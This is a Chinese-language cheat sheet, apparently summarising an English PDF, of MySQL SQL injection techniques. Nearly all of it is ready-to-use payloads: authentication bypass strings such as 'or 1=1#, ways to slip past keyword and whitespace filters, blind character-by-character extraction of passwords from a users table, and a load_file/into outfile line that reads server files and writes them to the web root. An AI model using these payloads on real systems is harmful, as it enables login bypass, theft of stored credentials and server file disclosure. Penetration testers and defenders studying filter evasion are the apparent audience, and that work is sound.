原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf
也可以參考瞌腄龍的mysql注入科普:http://drops.wooyun.org/tips/123
很多東西都是一樣的,但是有一些小技巧確實很使用。
以下所有技巧都只在mysql適用,因為它太靈活了
1 MySQL語法以及認證繞過
注釋符:
#,
-- X(X為任意字符)
/*(MySQL-5.1)
;%00
`
'or 1=1;%00
'or 1=1 union select 1,2`'
'or 1=1 #
'/*!50000or*/ 1=1 -- - //版本號為5.1.38時只要小于50138
'/*!or*/ 1=1 -- -
前綴:
任意混合 + - ~ !
'or --+2=- -!!!'2
測試后發現and/or
后面可以跟上偶數個!、~
可以替代空格,也可以混合使用(混合后規律又不同),and/or前的空格可以省略
'or- -!!!1=1;
運算符:
^, =, !=, %, /, *, &, &&, |, ||, <, >, <<, >>, >=, <=, <>, <=>, XOR,DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,……
'or 1 rlike '1
空格替換:%20, %09, %0a, %0b, %0c, %0d, %a0
也可以插入括號,前綴,操作符,引號
'or+(1)sounds/**/like"1"--%a0-
字符串格式
' or "a"='a'
' or 'a'=n'a' //unicode
' or 'a'=b'1100001' //binary
' or 'a'=_binary'1100001' //5.5.41下測試無效
' or 'a'=x'61' //16進制
2、MySQL常用的一些小工具
常量:true, false, null, \N, current_timestamp....
變量:@myvar:=1
系統變量:@@version, @@datadir....
常用函數:version(), pi(), pow(), char(), substring()....
3、MySQL類型轉換
' or 1=true #true=1, false=0
' or 1 #true
' or version()=5.5 #5.5.41-log
' or round(pi(),1)+true+true+0.4=version() #3.1+1+1+0.4
select * from users where 'a'='b'='c'
select * from users where ('a'='b')='c'
select * from users where (false)='c'
select * from users where (0)='c'
select * from users where (0)=0
select * from users where true
select * from users
以上的語句都是同樣的效果
4、認證繞過
繞過語句:'='
select data from users where name="="
select data from users where flase="
select data from users where 0=0
繞過語句:'-'
select data from users where name=''-''
select data from users where name=0-0
select data from users where 0=0
空格
過濾代碼/\s/
%20, %09, %0a, %0b, %0c, %0d, %a0
關鍵字OR,AND
過濾代碼/\sor\s/i,/\sand\s/i
'||1='1 #or
'='
'&&1='1 #and
關鍵字union select
過濾代碼/union\s+select/i
'and(true)like(false)union(select(pass)from(users))#
'union [all|distinct] select pass from users#
'union%a0select pass from users#
'union/*!select*/pass from users#
/vuln.php?id=1 union/*&sort=*/select pass from users-- -
如果單獨過濾union,使用盲注來獲取數據
'and(select pass from users limit 1)='secret
通過子查詢獲取單值來進行比較
關鍵字limit
過濾代碼/limit/i
'and(select pass from users where id=1)='a
'and(select pass from users group by id having id=1)='a
'and length((select pass from users having substr(pass,1,1)='a'))
關鍵字having
過濾代碼/having/i
'and(select substr(group_concat(pass),1,1)from users)='a
關鍵字select ... from
過濾代碼/SELECT\s+[A-Za-z.]+\s+FROM/i/i
select [all|distinct] pass from users
select`table_name`from`information_schema` . `tables`
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users
select+pass%a0from(users)
關鍵字select
過濾代碼/select/i
' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+
length('DocumentRoot'),10)='a'='' into outfile '/var/www/dump.txt
' and 列名 is not null#
' procedure analyse()#
使用substr來做過濾條件
'and substr(pass,1,1)='a
關鍵字select,and,&
'0#
select data from users where name = ''-0 # int typecast
select data from users where name = 0 # int typecast
select data from users where 0 = 0 # true
'-1#
select data from users where 0 = -1 # false
使用條件判斷來進行true、false
的選擇
ifnull(nullif()), case when, if()
'-if(name='Admin',1,0)#
使用嵌套條件'-if(
if(name='Admin',1,0), // condition
if(substr(pass,1,1)='a',1,0) // if true
,0)# // if false
構建字符串相關函數
unhex char hex ascii ord substr substring mid pad left right insert
' and substr(data,1,1) = 'a'#
' and substr(data,1,1) = 0x61# 0x6162
' and substr(data,1,1) = unhex(61)# unhex(6162)
' and substr(data,1,1) = char(97)# char(97,98)
' and hex(substr(data,1,1)) = 61#
' and ascii(substr(data,1,1)) = 97#
' and ord(substr(data,1,1)) = 97#
使用conv來進行進制的轉換
' and substr(data,1,1) = lower(conv(10,10,36))# 'a'
' and substr(data,1,1) = lower(conv(11,10,36))# 'b'
' and substr(data,1,1) = lower(conv(36,10,36))# 'z'
使用函數來猜解數據
' and substr(data,1,1) = 'a'#
' and substring(data,1,1) = 'a'#
' and mid(data,1,1) = 'a'#
不適用逗號來獲取
' and substr(data from 1 for 1) = 'a'#
同樣也可以使用一下比較少見的函數來嘗試繞過
lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'
rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'
left(data,1)
reverse(right(reverse(data),1))
insert(insert(version(),1,0,space(0)),2,222,space(0))
有些函數有類似搜索匹配的功能
'-if(locate('f',data),1,0)#
'-if(locate('fo',data),1,0)#
'-if(locate('foo',data),1,0)#
instr(), position()
使用函數進行字符串的切割
length(trim(leading 'a' FROM data)) # length will be shorter
length(replace(data, 'a', '')) # length will be shorter
2種方式都是相同效果
1個控制流程操作(select, case, if(), ...)
1個比較操作(=, like, mod(), ...)
1個字符串的猜解(mid(), left(), rpad(), …)
1個字符串生成(0x61, hex(), conv())
使用conv([10-36],10,36)
可以實現所有字符的表示
false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 K
true !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 L
true+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 M
floor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 O
floor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 P
ceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Q
ceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 R
floor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 S
floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T
更多詳細的東西可以參考原文去了解,還有一些其他的注入資料可以參考
http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf
https://media.blackhat.com/bh-us-12/Briefings/Ristic/BH_US_12_Ristic_Protocol_Level_Slides.pdf
http://www.blackhatlibrary.net/SQL_injection
http://websec.ca/kb/sql_injection